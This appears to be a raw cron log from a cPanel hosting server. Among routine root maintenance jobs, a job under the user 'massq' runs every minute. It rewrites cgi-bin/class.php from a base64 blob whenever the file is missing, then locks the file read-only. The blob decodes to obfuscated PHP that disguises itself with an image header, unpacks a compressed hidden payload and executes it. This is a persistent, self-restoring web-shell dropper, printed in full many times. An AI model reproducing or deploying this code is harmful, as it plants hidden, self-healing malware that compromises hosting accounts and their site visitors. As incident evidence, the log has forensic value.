Sep 11 13:32:01 server CROND[29404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:32:01 server CROND[29405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:32:01 server CROND[29406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:33:01 server CROND[29911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:33:01 server CROND[29912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:33:01 server CROND[29913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:34:01 server CROND[30308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:34:01 server CROND[30309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:34:01 server CROND[30310]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:35:01 server CROND[30716]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 13:35:01 server CROND[30717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:35:01 server CROND[30721]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 13:35:01 server CROND[30725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:35:01 server CROND[30726]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:35:01 server CROND[30722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:35:01 server CROND[30728]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 13:35:01 server CROND[30723]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 13:35:01 server CROND[30729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:36:01 server CROND[31598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:36:01 server CROND[31599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:36:01 server CROND[31600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:37:01 server CROND[31985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:37:01 server CROND[31986]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:37:01 server CROND[31987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:38:01 server CROND[32461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:38:01 server CROND[32462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:38:01 server CROND[32463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:39:01 server CROND[390]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 13:39:01 server CROND[391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:39:01 server CROND[393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:39:01 server CROND[392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:40:01 server CROND[820]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 13:40:01 server CROND[821]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:40:01 server CROND[825]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 13:40:01 server CROND[828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:40:01 server CROND[826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:40:01 server CROND[827]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 13:40:01 server CROND[830]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:40:01 server CROND[831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:41:01 server CROND[1829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:41:01 server CROND[1830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:41:01 server CROND[1831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:42:01 server CROND[2280]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 13:42:01 server CROND[2282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:42:01 server CROND[2281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:42:01 server CROND[2283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:43:01 server CROND[2799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:43:01 server CROND[2800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:43:01 server CROND[2798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
